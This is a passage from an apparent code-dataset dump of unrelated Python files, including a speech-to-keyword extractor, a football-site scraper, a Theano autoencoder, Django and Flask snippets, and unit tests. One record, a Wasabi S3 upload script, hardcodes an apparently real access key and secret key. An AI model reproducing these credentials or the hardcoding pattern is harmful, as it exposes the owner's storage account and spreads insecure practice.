ftp.quit()\r\n","sub_path":"codeNewPython/Exam13/ftp.py","file_name":"ftp.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"7565342","text":"def features(time):\n import ffmpeg\n import speech_recognition as sr\n import MeCab\n from sklearn.feature_extraction.text import TfidfVectorizer\n import pandas as pd\n import os\n\n # %%\n # 読み込むファイル名を定義\n Fname = \"sample.mp4\"\n fname = \"sample.wav\"\n\n # %%\n #動画全体の時間を調べる\n video_info = ffmpeg.probe(Fname)\n duration = float(video_info['streams'][0]['duration'])\n time.append(duration)\n\n # %%\n #mp4ファイルをwavファイルに変換\n stream = ffmpeg.input(Fname)\n stream = ffmpeg.output(stream, \"sample.wav\")\n ffmpeg.run(stream)\n\n # %%\n # 配列形式で与えられた秒数で動画を切り取り\n chapters = []\n\n for i in range(len(time)-1):\n if time[i+1]-time[i]<30:\n stream = ffmpeg.input(fname)\n stream = ffmpeg.output(stream, \"sample\"+str(i)+\"_\"+str(0)+\".wav\", ss=time[i], t=time[i+1]-time[i])\n ffmpeg.run(stream)\n chapters.append(0)\n else:\n t = time[i]\n j = 0\n while time[i+1]-t>30:\n stream = ffmpeg.input(fname)\n stream = ffmpeg.output(stream, \"sample\"+str(i)+\"_\"+str(j)+\".wav\", ss=t, t=30)\n ffmpeg.run(stream)\n j += 1\n t += 30\n stream = ffmpeg.input(fname)\n stream = ffmpeg.output(stream, \"sample\"+str(i)+\"_\"+str(j)+\".wav\", ss=t, t=time[i+1]-t)\n ffmpeg.run(stream)\n chapters.append(j)\n os.remove(\"sample.wav\")\n # WAV形式で分割された動画を出力\n # 各チャプターごとに分割動画の数を記録\n\n # %%\n # チャプターごとに特徴語を抽出\n features = []\n\n for i in range(len(time)-1):\n for j in range(chapters[i]+1):\n r = sr.Recognizer()\n\n if j == 0:\n try:\n with sr.AudioFile(\"sample\"+str(i)+\"_\"+str(j)+\".wav\") as source:\n audio = r.record(source)\n\n text = r.recognize_google(audio, language='ja-JP')\n except Exception:\n pass\n else:\n try:\n with sr.AudioFile(\"sample\"+str(i)+\"_\"+str(j)+\".wav\") as source:\n audio = r.record(source)\n\n text += r.recognize_google(audio, language='ja-JP')\n except Exception:\n pass\n\n # 作ったwavファイルを削除\n os.remove(\"sample\"+str(i)+\"_\"+str(j)+\".wav\")\n\n\n tokenizer = MeCab.Tagger(\"-Ochasen\")\n tokenizer.parse(\"\")\n\n def extract(text):\n words = []\n\n # 単語の特徴リストを生成\n node = tokenizer.parseToNode(text)\n\n while node:\n # 品詞情報(node.feature)が名詞ならば\n if node.feature.split(\",\")[0] == u\"名詞\":\n # 単語(node.surface)をwordsに追加\n words.append(node.surface)\n node = node.next\n\n # 半角スペース区切りで文字列を結合\n text_result = ' '.join(words)\n return text_result\n\n docs = []\n\n text = extract(text)\n docs.append(text)\n\n if docs != ['']:\n # モデルを生成\n vectorizer = TfidfVectorizer(smooth_idf=False)\n X = vectorizer.fit_transform(docs)\n\n # データフレームに表現\n values = X.toarray()\n feature_names = vectorizer.get_feature_names()\n df = pd.DataFrame(values, columns = feature_names, index=[\"特徴語\"])\n df.sort_values(by=\"特徴語\", ascending=False, axis=1, inplace=True)\n features.append(df.columns[0])\n else:\n features.append(\"N/A\")\n\n # %%\n # 得られた特徴語リストを返す\n return(features)","sub_path":"final_prototype/features_v2.py","file_name":"features_v2.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"295677452","text":"# coding: utf8\r\n\r\nimport requests\r\nfrom lxml import html\r\nimport pandas as pd\r\nfrom Parse_html import parse_html_country_season_team, parse_html_country_season, random_user_agent\r\nimport os\r\n\r\n\r\n\r\ndef func_get9(country, team, number):\r\n response = parse_html_country_season_team(country, team) \r\n tree = html.fromstring(response.content)\r\n clubname = tree.xpath('.//font[@size=\"6\"]/text()')[0]\r\n print(str(clubname))\r\n # etree.tostring(child, method=\"html\", encoding=\"unicode\")\r\n df = pd.read_html(response.text)[1] \r\n df.columns = ['№', 'Игрок', 'Дата рождения', 'Гражданство', 4, 5, 6, 7]\r\n if number in df['№'].tolist():\r\n df = df.set_index('Игрок') \r\n res = df.loc[df['№'] == number][['Гражданство','Дата рождения']]\r\n res.columns = [''] * len(res.columns)\r\n res.index.name = None\r\n return res\r\n else:\r\n res = 'В команде {0} нет игрока под № {1}'.format(clubname, number)\r\n return res\r\n \r\n\r\n#x = func_get9('italy', 'torino', '57')\r\n#print(x)\r\n\r\n\r\ndef func_get9s(country, number):\r\n responce = parse_html_country_season(country)\r\n tree = html.fromstring(responce.content) \r\n links = tree.xpath('.//li[@class=\"yellow-green-bg\"][2]/ul/li/a/@href') \r\n sum_list = [] \r\n for link in links: \r\n responce = requests.get('http://football.kulichki.net' + link, headers = random_user_agent())\r\n tree = html.fromstring(responce.content)\r\n clubname = tree.xpath('.//font[@size=\"6\"]/text()')[0]\r\n df = pd.read_html(responce.text, header=None)[1]\r\n df.columns = ['№', \"Игрок\", \"Дата рождения\", 'Гражданство', 4, 5, 6, 7]\r\n if number in df['№'].tolist():\r\n df = df.set_index('Игрок') \r\n res = df.loc[df['№'] == number][['Гражданство','Дата рождения']]\r\n res.columns = [''] * len(res.columns)\r\n res.index.name = None\r\n sum_list.append(res.astype(str))\r\n else:\r\n res = 'В команде {0} нет игрока под № {1}'.format(clubname, number)\r\n sum_list.append(res)\r\n return sum_list\r\n\r\n#w = func_get9s('france', '12') \r\n#print(w)\r\n","sub_path":"number9.py","file_name":"number9.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"637603706","text":"# Deep Neural Network with AutoEncoder Pretraining\n# In general:\n# Greedy Layer-wise AutoEncoder Pretraining is better than Pure Backpropagation\n\nimport numpy as np\nimport theano\nimport theano.tensor as T\nimport matplotlib.pyplot as plt\n\nfrom sklearn.utils import shuffle\n\n\nclass AutoEncoder(object):\n\tdef __init__(self, M, an_id=None, activation_type=1, cost_type=1):\n\t\tself.M = M\n\t\tself.id = an_id\n\t\tself.cost_type = cost_type\n\t\tif activation_type == 1:\n\t\t\tself.activation = T.nnet.sigmoid\n\t\telif activation_type == 2:\n\t\t\tself.activation = T.tanh\n\t\telif activation_type == 3:\n\t\t\tself.activation = T.nnet.relu\n\t\telse:\n\t\t\tself.activation = elu\n\n\tdef fit(self, X, epochs=1, batch_sz=100, learning_rate=0.5, momentum=0.99, debug=False, print_period=20, show_fig=False):\n\t\t# Use float32 for GPU accelerated\n\t\tlr = np.float32(learning_rate)\n\t\tmu = np.float32(momentum)\n\t\tone = np.float32(1)\n\n\t\tX = X.astype(np.float32)\n\t\tN, D = X.shape\n\n\t\tif batch_sz <= 0 or batch_sz >= N:\n\t\t\tbatch_sz = N\n\t\tn_batches = N // batch_sz\n\n\t\tW = init_weights((D, self.M))\n\t\tbh = np.zeros(self.M, dtype=np.float32)\n\t\tbo = np.zeros(D, dtype=np.float32)\n\t\tself.W = theano.shared(W, 'W_%s' % self.id)\n\t\tself.bh = theano.shared(bh, 'bh_%s' % self.id)\n\t\tself.bo = theano.shared(bo, 'bo_%s' % self.id)\n\t\tself.params = [self.W, self.bh, self.bo]\n\t\tself.forward_params = [self.W, self.bh]\n\n\t\t# for Momentum\n\t\tdparams = [theano.shared(np.zeros(p.get_value().shape, dtype=np.float32)) for p in self.params]\n\n\t\tX_in = T.fmatrix('X_%s' % self.id)\n\t\tX_hat = self.forward_output(X_in)\n\n\t\tH = self.forward_hidden(X_in)\n\t\tself.forward_hidden_op = theano.function(inputs=[X_in], outputs=H)\n\n\t\tif self.cost_type == 1:\n\t\t\tcost = -T.mean(X_in * T.log(X_hat) + (one - X_in) * T.log(one - X_hat)) # binary cross-entropy\n\t\telif self.cost_type == 2:\n\t\t\tcost = T.mean((X_in - X_hat) * (X_in - X_hat)) # squared error\n\t\telse:\n\t\t\tcost = -T.mean(X_in * T.log(X_hat)) # categorical cross-entropy\n\t\tcost_op = theano.function(inputs=[X_in], outputs=cost)\n\n\t\tupdates = []\n\t\tfor p, dp in zip(self.params, dparams):\n\t\t\tupdates += [\n\t\t\t\t(p, p + mu*dp - lr*T.grad(cost, p)),\n\t\t\t\t(dp, mu*dp - lr*T.grad(cost, p))\n\t\t\t]\n\n\t\ttrain_op = theano.function(inputs=[X_in], updates=updates)\n\n\t\tif debug:\n\t\t\tprint('\\nTraining AutoEncoder %s:' % self.id)\n\t\t\tcosts = []\n\t\tfor i in range(epochs):\n\t\t\tX = shuffle(X)\n\t\t\tfor j in range(n_batches):\n\t\t\t\tXbatch = X[j*batch_sz:(j*batch_sz + batch_sz)]\n\n\t\t\t\ttrain_op(Xbatch)\n\n\t\t\t\tif debug and j % print_period == 0:\n\t\t\t\t\tthe_cost = cost_op(X)\n\t\t\t\t\tcosts.append(the_cost)\n\t\t\t\t\tprint('epoch=%d, batch=%d, n_batches=%d: cost=%.6f' % (i, j, n_batches, the_cost))\n\n\t\tif debug:\n\t\t\tthe_cost = cost_op(X)\n\t\t\tcosts.append(the_cost)\n\t\t\tprint('Finally: cost=%.6f' % (the_cost))\n\n\t\t\tif show_fig:\n\t\t\t\tplt.plot(costs)\n\t\t\t\tplt.title('Costs in AutoEncoder %s' % self.id)\n\t\t\t\tplt.show()\n\n\tdef forward_hidden(self, X):\n\t\treturn self.activation(X.dot(self.W) + self.bh)\n\n\tdef forward_output(self, X):\n\t\tZ = self.forward_hidden(X)\n\t\treturn self.activation(Z.dot(self.W.T) + self.bo)\n\n\t@staticmethod\n\tdef createFromArray(W, bh, bo, an_id=None, activation_type=1, cost_type=1):\n\t\tae = AutoEncoder(W.shape[1], an_id, activation_type, cost_type)\n\t\tae.W = theano.shared(W.astype(np.float32), 'W_%s' % ae.id)\n\t\tae.bh = theano.shared(bh.astype(np.float32), 'bh_%s' % ae.id)\n\t\tae.bo = theano.shared(bo.astype(np.float32), 'bo_%s' % ae.id)\n\t\tae.params = [ae.W, ae.bh, ae.bo]\n\t\tae.forward_params = [ae.W, ae.bh]\n\t\treturn ae\n\n\nclass DNN(object):\n\tdef __init__(self, hidden_layer_sizes, UnsupervisedModel=AutoEncoder, activation_type=1, cost_type=1):\n\t\tself.hidden_layers = []\n\t\tcount = 0\n\t\tfor M in hidden_layer_sizes:\n\t\t\th = UnsupervisedModel(M, count, activation_type, cost_type)\n\t\t\tself.hidden_layers.append(h)\n\t\t\tcount += 1\n\n\tdef fit(self, X, Y, Xtest=None, Ytest=None, epochs=1, batch_sz=100, pretrain=True, pretrain_epochs=1, pretrain_batch_sz=100, learning_rate=0.01, momentum=0.99, debug=False, print_period=20, show_fig=False):\n\t\t# Use float32 for GPU accelerated\n\t\tlr = np.float32(learning_rate)\n\t\tmu = np.float32(momentum)\n\t\tone = np.float32(1)\n\n\t\t# pre-processing\n\t\tX, Y, _ = preprocess(X, Y, False)\n\t\tXtest, Ytest, debug = preprocess(Xtest, Ytest, debug)\n\n\t\tN, K = len(Y), len(set(Y))\n\t\tif batch_sz <= 0 or batch_sz >= N:\n\t\t\tbatch_sz = N\n\t\tn_batches = N // batch_sz\n\n\t\t# greedy layer-wise training of autoencoders\n\t\tif not pretrain:\n\t\t\tpretrain_epochs = 0\n\n\t\tcurrent_input = X\n\t\tfor ae in self.hidden_layers:\n\t\t\tae.fit(current_input, epochs=pretrain_epochs, batch_sz=pretrain_batch_sz, debug=debug, print_period=print_period, show_fig=show_fig)\n\t\t\tcurrent_input = ae.forward_hidden_op(current_input) # create current_input for next layer\n\n\t\t# initialize logistic regression layer\n\t\tW = init_weights((self.hidden_layers[-1].M, K))\n\t\tb = np.zeros(K, dtype=np.float32)\n\t\tself.W = theano.shared(W, 'W_logreg')\n\t\tself.b = theano.shared(b, 'b_logreg')\n\n\t\tself.params = [self.W, self.b]\n\t\tfor h in reversed(self.hidden_layers):\n\t\t\tself.params += h.forward_params\n\n\t\t# for momentum\n\t\tdparams = [theano.shared(np.zeros(p.get_value().shape, dtype=np.float32)) for p in self.params]\n\n\t\tthX = T.fmatrix('X')\n\t\tthY = T.ivector('Y')\n\n\t\tpY = self.th_forward(thX)\n\t\tself.forward_op = theano.function(inputs=[thX], outputs=pY)\n\n\t\tcost = -T.mean(T.log(pY[T.arange(thY.shape[0]), thY]))\n\n\t\tprediction = self.th_predict(thX)\n\t\tself.predict_op = theano.function(inputs=[thX], outputs=prediction)\n\t\tcost_predict_op = theano.function(inputs=[thX, thY], outputs=[cost, prediction])\n\n\t\tupdates = []\n\t\tfor p, dp in zip(self.params, dparams):\n\t\t\tupdates += [\n\t\t\t\t(p, p + mu*dp - lr*T.grad(cost, p)),\n\t\t\t\t(dp, mu*dp - lr*T.grad(cost, p))\n\t\t\t]\n\n\t\ttrain_op = theano.function(inputs=[thX, thY], updates=updates)\n\n\t\tif debug:\n\t\t\tprint('\\nSupervised training:')\n\t\t\tcosts = []\n\t\tfor i in range(epochs):\n\t\t\tX, Y = shuffle(X, Y)\n\t\t\tfor j in range(n_batches):\n\t\t\t\tXbatch = X[j*batch_sz:(j*batch_sz + batch_sz)]\n\t\t\t\tYbatch = Y[j*batch_sz:(j*batch_sz + batch_sz)]\n\n\t\t\t\ttrain_op(Xbatch, Ybatch)\n\n\t\t\t\tif debug and j % print_period == 0:\n\t\t\t\t\tthe_cost, the_prediction = cost_predict_op(Xtest, Ytest)\n\t\t\t\t\tscore = classification_rate(Ytest, the_prediction)\n\t\t\t\t\tcosts.append(the_cost)\n\t\t\t\t\tprint('epoch=%d, batch=%d, n_batches=%d: cost=%.6f, score=%.6f%%' % (i, j, n_batches, the_cost, score*100))\n\n\t\tif debug:\n\t\t\tthe_cost, the_prediction = cost_predict_op(Xtest, Ytest)\n\t\t\tscore = classification_rate(Ytest, the_prediction)\n\t\t\tcosts.append(the_cost)\n\t\t\tprint('Finally: cost=%.6f, score=%.6f%%' % (the_cost, score*100))\n\n\t\t\tif show_fig:\n\t\t\t\tplt.plot(costs)\n\t\t\t\tplt.title('Costs in DNN')\n\t\t\t\tplt.show()\n\n\tdef th_forward(self, X):\n\t\tZ = X\n\t\tfor h in self.hidden_layers:\n\t\t\tZ = h.forward_hidden(Z)\n\t\treturn T.nnet.softmax(Z.dot(self.W) + self.b)\n\n\tdef th_predict(self, X):\n\t\tpY = self.th_forward(X)\n\t\treturn T.argmax(pY, axis=1)\n\n\tdef forward(self, X):\n\t\tX = X.astype(np.float32)\n\t\treturn self.forward_op(X)\n\n\tdef predict(self, X):\n\t\tX = X.astype(np.float32)\n\t\treturn self.predict_op(X)\n\n\tdef score(self, X, Y):\n\t\tP = self.predict(X)\n\t\treturn np.mean(P == Y)\n\n\ndef elu(X):\n\treturn T.switch(X >= np.float32(0), X, (T.exp(X) - np.float32(1)))\n\n\ndef init_weights(shape):\n\tW = np.random.randn(*shape) / np.sqrt(sum(shape))\n\treturn W.astype(np.float32)\n\n\ndef classification_rate(T, P):\n\treturn np.mean(T == P)\n\n\ndef preprocess(X, Y, debug):\n\tif debug:\n\t\tif X is None or Y is None or len(X) != len(Y):\n\t\t\treturn None, None, False\n\tif len(X.shape) == 1:\n\t\tX = X.reshape(-1, 1)\n\tif len(Y.shape) == 2:\n\t\tif Y.shape[1] == 1:\n\t\t\tY = np.squeeze(Y)\n\t\telse:\n\t\t\tY = np.argmax(Y, axis=1)\n\tX = X.astype(np.float32)\n\tY = Y.astype(np.int32)\n\treturn X, Y, debug\n\n","sub_path":"unsupervised_dl/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":7644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"595185123","text":"#import json\n\n\n#data=open(r\"D:\\Office\\AutomationTest Integration\",\"w+\")\n#print(data)\nimport re\nimport sys\nprint(sys.path)\nsys.path.append(r'C:\\Users\\Y Sai Krishna\\AppData\\Local\\Programs\\Python\\Python37\\Lib\\site-packages')\n\nimport boto3\nfrom boto3.s3.transfer import TransferConfig\n\n\ns3client = boto3.client('s3',\n endpoint_url='https://s3.us-central-1.wasabisys.com',\n aws_access_key_id=\"389KPBIFHTMFVOBR957I\",\n aws_secret_access_key=\"gs4ibNWGNdXGOJuNCoUzCkIqzZoYsSAuHjmNr7D5\")\n\ns3 = boto3.resource('s3',\n endpoint_url='https://s3.us-central-1.wasabisys.com',\n aws_access_key_id=\"389KPBIFHTMFVOBR957I\",\n aws_secret_access_key=\"gs4ibNWGNdXGOJuNCoUzCkIqzZoYsSAuHjmNr7D5\")\n\n\n# Set the desired multipart threshold value (5GB)\nGB = 1024 ** 3\nconfig = TransferConfig(multipart_threshold=5*GB)\n\n\nbucket_name = 'falkonsms-develop'\nfiles=[]\nbucket = s3.Bucket(bucket_name)\n\nfor obj in bucket.objects.all():\n files.append(obj.key.rsplit('/')[-1])\n\nstring = ''.join(files)\nmatch = re.findall(r\"Falkon SMS Setup .*exe\", string)\ndata=match[0].split(\"exe\")\n\n\nkey_name = 'FalkonSMS/CICD_Pipeline_Test.exe'\n#print(key_name)\nfile_path = \"D:\\Office\\AutomationTest Integration\\CICD_Pipeline_Test.exe\"\nfilename = data[len(data)-2] + \"exe\"\n#print(filename)\n#s3client.download_file(Bucket=bucket_name,Filename=filename,Key=key_name)\ns3client.upload_file(Bucket=bucket_name,Filename=file_path, Key=key_name)\n","sub_path":"wasabi-s3-upload/wasabiupload.py","file_name":"wasabiupload.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"103998258","text":"from flask import Flask\nimport logging\n\n\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n\nlogger = logging.getLogger('simple_example')\n\nlogger.setLevel(logging.DEBUG)\nch = logging.StreamHandler()\nfh = logging.FileHandler(filename=\"run.log\")\nlogger.addHandler(ch)\nlogger.addHandler(fh)\nch.setFormatter(formatter)\nfh.setFormatter(formatter)\n\n\n\napp = Flask(__name__)\n\n@app.route(\"/h1\") #url-mapping\ndef h1():\n sql = \"11111111111111111\"\n logger.debug(sql)\n #log(sql)\n return \"H1\"\n\n\n@app.route(\"/h2\") #url-mapping\ndef h2():\n sql = \"222222222222222222\"\n logger.debug(sql)\n #log(sql)\n return \"H2\"\n\n\ndef log(param):\n import logging\n logger = logging.getLogger('simple_example')\n logger.setLevel(logging.DEBUG)\n \n # 콘솔 출력을 지정합니다\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n \n # 파일 출력을 지정합니다.\n fh = logging.FileHandler(filename=\"run.log\")\n fh.setLevel(logging.INFO)\n \n # add ch to logger\n logger.addHandler(ch)\n logger.addHandler(fh)\n \n logger.critical(param)\n logger.error(param)\n logger.warning(param)\n logger.info(param)\n logger.debug(param) \n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n# app.run(host='localhost', port=5000)","sub_path":"basic_python/HELLOPYTHON/day22/myflask01.py","file_name":"myflask01.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"168095579","text":"from django.core.management.base import BaseCommand\nimport json\nfrom dungeons.models import EncounterSet\nimport time\nimport os\nfrom .dungeon_wave_parser import parse_spawn_data\nfrom dataversions.models import Version\nfrom django.conf import settings\nfrom Utils.progress import progress\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n\n self.stdout.write(self.style.SUCCESS('Starting Dungeon encounter build.'))\n\n start = time.time()\n\n prevSize = EncounterSet.objects.all().count()\n EncounterSet.objects.all().delete()\n\n self.stdout.write(\"Parsing values from csv\")\n # call my wave parser to write to file\n parse_spawn_data.parse_waves()\n\n self.stdout.write(\"CSV -> JSON conversion complete\")\n\n self.stdout.write(\"Importing new JSON data\")\n\n if settings.DEBUG:\n location = '/Users/rohil/projects/personal/data_files/processed/wave_data.json'\n else:\n location = '/home/rohil/data/pad_data/processed_data/wave_data.json'\n\n self.stdout.write('\\tFile Location: {}'.format(location))\n\n with open(os.path.abspath(location), 'r') as jsonData:\n wave_data = json.load(jsonData)\n\n self.stdout.write(\"Parsing items\")\n\n total = len(wave_data)\n\n for i in range(0, total):\n item = wave_data[i]\n\n progress(i, total)\n\n for floor in item['floors']:\n\n for wave in floor['waves']:\n encounter_set = EncounterSet()\n encounter_set.dungeon_id = item['dungeon_id']\n encounter_set.floor_id = floor['floor']\n encounter_set.wave_number = wave['wave']\n encounter_set.encounter_data = json.dumps(wave['encounter_list'])\n encounter_set.save()\n\n self.stdout.write('')\n end = time.time()\n self.stdout.write(\"Elapsed time : {}\".format(end - start))\n self.stdout.write(\"Updating version\")\n\n ver = Version.objects.all()\n\n if len(ver) == 0:\n v = Version()\n v.monster = 1\n v.save()\n else:\n v = ver.first()\n if prevSize < EncounterSet.objects.all().count():\n v.monster += 1\n v.save()\n self.stdout.write(self.style.SUCCESS('Encounter update complete.'))\n","sub_path":"deprecated/old_parsers/dungeons/management/commands/updateencounters.py","file_name":"updateencounters.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"38730168","text":"import cv2\nimport numpy as np\n\n\nclass CoverDescriptor(object):\n def __init__(self, use_sift=False):\n self.use_sift = use_sift\n\n def describe(self, image):\n descriptor = cv2.BRISK_create()\n\n if self.use_sift:\n descriptor = cv2.xfeatures2d.SIFT_create()\n\n (keypoints, descriptors) = descriptor.detectAndCompute(image, None)\n keypoints = np.float32([keypoint.pt for keypoint in keypoints])\n\n return (keypoints, descriptors)\n","sub_path":"coverdescriptor.py","file_name":"coverdescriptor.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"209290892","text":"from django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework import routers\n\nfrom .views import CommentViewSet, FollowViewSet, GroupViewSet, PostViewSet\n\nrouter_v1 = routers.DefaultRouter()\nrouter_v1.register(r'posts', PostViewSet, basename='posts')\nrouter_v1.register(r'groups', GroupViewSet, basename='groups')\nrouter_v1.register(\n r'posts/(?P\\d+)/comments',\n CommentViewSet,\n basename='comments')\nrouter_v1.register(r'follow', FollowViewSet, basename='follow')\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('v1/', include(router_v1.urls)),\n]\n","sub_path":"yatube_api/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"230183927","text":"\"\"\"Getting started with python II and then using a Random Forest.\n\"\"\"\nimport pandas as pd\nimport os\nfrom sklearn.ensemble import RandomForestClassifier\npd.set_option(\"display.width\", 270)\n\n\ndata_dir = \"./data\"\ntrain_file = os.path.join(data_dir, \"train.csv\")\n\n\nif __name__ == \"__main__\":\n # Preparing the data.\n train = pd.read_csv(train_file)\n train[\"Maturity\"] = train.Age.map(\n lambda age: 1 if age > 18 else 0)\n train[\"Gender\"] = train.Sex.map(\n {'female':0, 'male':1})\n\n median_age = pd.pivot_table(\n train,\n rows=[\"Gender\", \"Pclass\"],\n values=\"Age\",\n aggfunc=\"median\")\n\n idx = [(g, p) for g, p in zip(train.Gender, train.Pclass)]\n train[\"AgeFill\"] = train.Age.copy()\n\n m = train.Age.isnull().values\n train.loc[m, \"AgeFill\"] = median_age[idx].values[m]\n\n train[\"AgeIsNull\"] = train.Age.isnull().astype(int)\n\n train[\"FamilySize\"] = train.Parch + train.SibSp\n train[\"Age*Class\"] = train.AgeFill*train.Pclass\n\n data = train.drop(\n ['Name', 'Sex', 'Ticket', 'Cabin', 'Embarked', 'Age'], axis=1)\n\n assert data.isnull().sum().sum() == 0\n\n data = data.values\n\n # Create the random forest object which will include all the parameters for\n # the fit.\n forest = RandomForestClassifier(n_estimators = 100)\n\n # Fit the training data to the Survived labels and create the decision\n # trees.\n forest = forest.fit(data[:,1:], data[:,0])\n\n # Take the same decision trees and run it on the test data.\n #output = forest.predict(test_data)\n\n","sub_path":"titanic-gettingStarted/tutorial-02-python.py","file_name":"tutorial-02-python.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"569688950","text":"from heapq import heappush, heappop\nfrom operator import itemgetter\n\n\ndef main(n, m, works):\n backward = sorted(works, key=itemgetter(0), reverse=True)\n q = []\n score = 0\n for i in range(1, m + 1):\n while backward and backward[-1][0] <= i:\n a, b = backward.pop()\n heappush(q, -b)\n # print(q)\n if q:\n b = -heappop(q)\n score += b\n\n return score\n\n\nn, m = list(map(int, input().split()))\nworks = []\nfor _ in range(n):\n a, b = list(map(int, input().split()))\n works.append((a, b))\n\nprint(main(n, m, works))\n","sub_path":"abc/120-/137/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"331179516","text":"import unittest\nfrom unittest.mock import patch\nimport json\nfrom src.app import (show_all_docs_info, add_new_doc,\n delete_doc, check_document_existance)\nimport os\n\ntest_documents = []\ntest_directories = {}\n\n\ndef setUpModule():\n print('Set Up Tests')\n current_path = str(os.path.dirname(os.path.abspath(__file__)))\n current_path = current_path[:-4]\n f_directories = os.path.join(current_path, 'fixtures/directories.json')\n f_documents = os.path.join(current_path, 'fixtures/documents.json')\n with open(f_documents, encoding='utf-8') as new_document:\n test_documents.extend(json.load(new_document))\n with open(f_directories, encoding='utf-8') as new_directory:\n test_directories.update(json.load(new_directory))\n\n\ndef tearDownModule():\n print('Tests were ended')\n\n\n@patch('src.app.documents', test_documents, create=True)\n@patch('src.app.directories', test_directories, create=True)\nclass TestAccountantProgram(unittest.TestCase):\n\n @patch('src.app.input', return_value=\"105\")\n def test_delete_not_exist_doc(self, input_mock):\n test_value = input_mock.return_value\n test_len = len(test_documents)\n for document in test_documents:\n if test_value in document.values():\n raise AssertionError(f'{test_value} found in {document.values()}')\n self.assertFalse(check_document_existance(test_value))\n result = delete_doc()\n self.assertIs(result, None)\n self.assertEqual(test_len, len(test_documents))\n\n @patch('src.app.input', return_value=\"11-2\")\n def test_delete_exist_doc(self, input_mock):\n test_value = input_mock.return_value\n test_len = len(test_documents)\n test_include = False\n for document in test_documents:\n if test_value in document.values():\n test_include = True\n if not test_include:\n raise AssertionError(f'{test_value} not found in {test_documents}')\n self.assertTrue(check_document_existance(test_value))\n result_1, result_2 = delete_doc()\n self.assertEqual(result_1, test_value)\n self.assertEqual(result_2, True)\n self.assertNotIn(test_value, test_documents)\n self.assertNotIn(test_value, test_directories)\n self.assertGreater(test_len, len(test_documents))\n\n @patch('src.app.input', side_effect=[\"589 789\", \"passport\",\n \"Alex Shield\", \"3\"])\n def test_app_new_doc_exist_shelf(self, input_mock):\n docs_len = len(test_documents)\n dir_len = len(test_directories)\n result = add_new_doc()\n test_dict, test_shelf = result\n self.assertIsInstance(test_dict, dict)\n self.assertIsInstance(test_shelf, str)\n self.assertIn(test_dict, test_documents)\n self.assertIn(test_shelf, test_directories)\n self.assertIn(test_dict['number'], test_directories[test_shelf])\n self.assertEqual(dir_len, len(test_directories))\n self.assertGreater(len(test_documents), docs_len)\n\n @patch('src.app.input', side_effect=[\"777854\", \"drive license\",\n \"Backy Fall\", \"4\"])\n def test_app_new_doc_new_shelf(self, input_mock):\n docs_len = len(test_documents)\n dir_len = len(test_directories)\n result = add_new_doc()\n test_dict, test_shelf = result\n self.assertIsInstance(test_dict, dict)\n self.assertIsInstance(test_shelf, str)\n self.assertIn(test_dict, test_documents)\n self.assertIn(test_shelf, test_directories)\n self.assertIn(test_dict['number'], test_directories[test_shelf])\n self.assertGreater(len(test_directories), dir_len)\n self.assertGreater(len(test_documents), docs_len)\n\n def test_show_all_docs_info(self):\n result = show_all_docs_info()\n self.assertEqual(len(test_documents), result)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/lection6.py","file_name":"lection6.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"453627858","text":"import abc\nfrom typing import Optional\n\nfrom . import ops, system_config\nfrom .tensor import Tensor\n\n_zero_tup = tuple(0 for _ in system_config.DEFAULT_SYSTEM_CONFIG.level_configs)\n\n\nclass AvailableIsNegativeError(ValueError):\n pass\n\n\nclass IntermediatesTooBigError(ValueError):\n pass\n\n\ndef _pipeline_transition(\n base_available: tuple[int, ...],\n pipeline: ops.Pipeline,\n carried_input_consumption: tuple[int, ...],\n carried_output_consumption: tuple[int, ...],\n) -> Optional[list[\"MemoryLimits\"]]:\n\n # TODO: Make this a method of Tensors\n def _tensor_mem(tensor: Tensor) -> tuple[int, ...]:\n mem = list(_zero_tup)\n mem[tensor.level] = tensor.volume\n return tuple(mem)\n\n child_limits: list[\"MemoryLimits\"] = []\n try:\n # The first child carries the base available, minus an output tensor\n child_limits.append(\n PipelineChildMemoryLimits(\n base_available,\n carried_input_consumption,\n _tensor_mem(pipeline.stages[0].output),\n )\n )\n\n # The intermediate children carry the base available, as well as their\n # input and output intermediate tensors' limits\n for child_idx in range(1, len(pipeline.stages) - 1):\n before = _tensor_mem(pipeline.stages[child_idx - 1].output)\n after = _tensor_mem(pipeline.stages[child_idx].output)\n child_limits.append(\n PipelineChildMemoryLimits(base_available, before, after)\n )\n\n # The last child carries base available minus its input intermediate\n child_limits.append(\n PipelineChildMemoryLimits(\n base_available,\n 